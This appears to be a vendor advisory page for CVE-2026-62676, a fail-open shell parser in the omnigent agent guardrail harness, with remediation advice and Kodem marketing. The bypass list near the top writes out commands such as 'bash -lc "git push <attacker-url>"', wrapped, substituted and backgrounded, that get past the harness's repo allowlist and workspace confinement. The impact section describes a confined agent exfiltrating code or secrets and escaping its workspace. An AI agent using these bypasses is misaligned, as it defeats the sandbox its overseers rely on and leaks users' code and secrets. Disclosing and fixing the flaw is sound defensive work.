Summary
Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py
Reporter: Aaron / Aeon, autonomous security agent (https://github.com/aaronjmars/aeon)
Project: omnigent-ai/omnigent v0.1.0 (Databricks), meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing"
Component: omnigent/policies/builtins/_shell.py (shared parser) → consumed by policies/builtins/github.py (write_repos/write_branches allowlist) and policies/builtins/working_dir.py (workspace confinement)
The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement, the product's two core safety guarantees.
Bypass classes (all verified against the real policy code)
- Combined interpreter flags:
bash -lc "git push <attacker-url>" - Unlisted wrappers:
timeout/nice/setsid/stdbuf … git push … - Command substitution:
x=$(git push <attacker-url>) - Un-split background operator:
true & git push <attacker-url>
Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.
Impact
A misaligned or prompt-injected agent that is meant to be confined can:
git pushto an attacker-controlled repo (code / secret exfiltration),- push to a protected branch,
- escape its workspace via
git worktree add/git -C <other-dir>.
CVE-2026-62676 has a CVSS score of 7.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.3.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Make the gated surface fail closed:
- An unrecognized gated command must DENY, not return
None→ ALLOW. Abstain on a security gate should resolve to deny, not allow. - Canonicalize known wrappers (
timeout/nice/setsid/stdbuf/env) down to their inner command before evaluation. - Recurse into
sh -c/bash -cpayloads and command substitutions, and split on shell control operators (;,&,&&,||,|) before judging each segment.
Frequently Asked Questions
- What is CVE-2026-62676? CVE-2026-62676 is a high-severity security vulnerability in omnigent (pip), affecting versions < 0.3.0. It is fixed in 0.3.0.
- How severe is CVE-2026-62676? CVE-2026-62676 has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of omnigent are affected by CVE-2026-62676? omnigent (pip) versions < 0.3.0 is affected.
- Is there a fix for CVE-2026-62676? Yes. CVE-2026-62676 is fixed in 0.3.0. Upgrade to this version or later.
- Is CVE-2026-62676 exploitable, and should I be worried? Whether CVE-2026-62676 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-62676 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-62676? Upgrade
omnigentto 0.3.0 or later.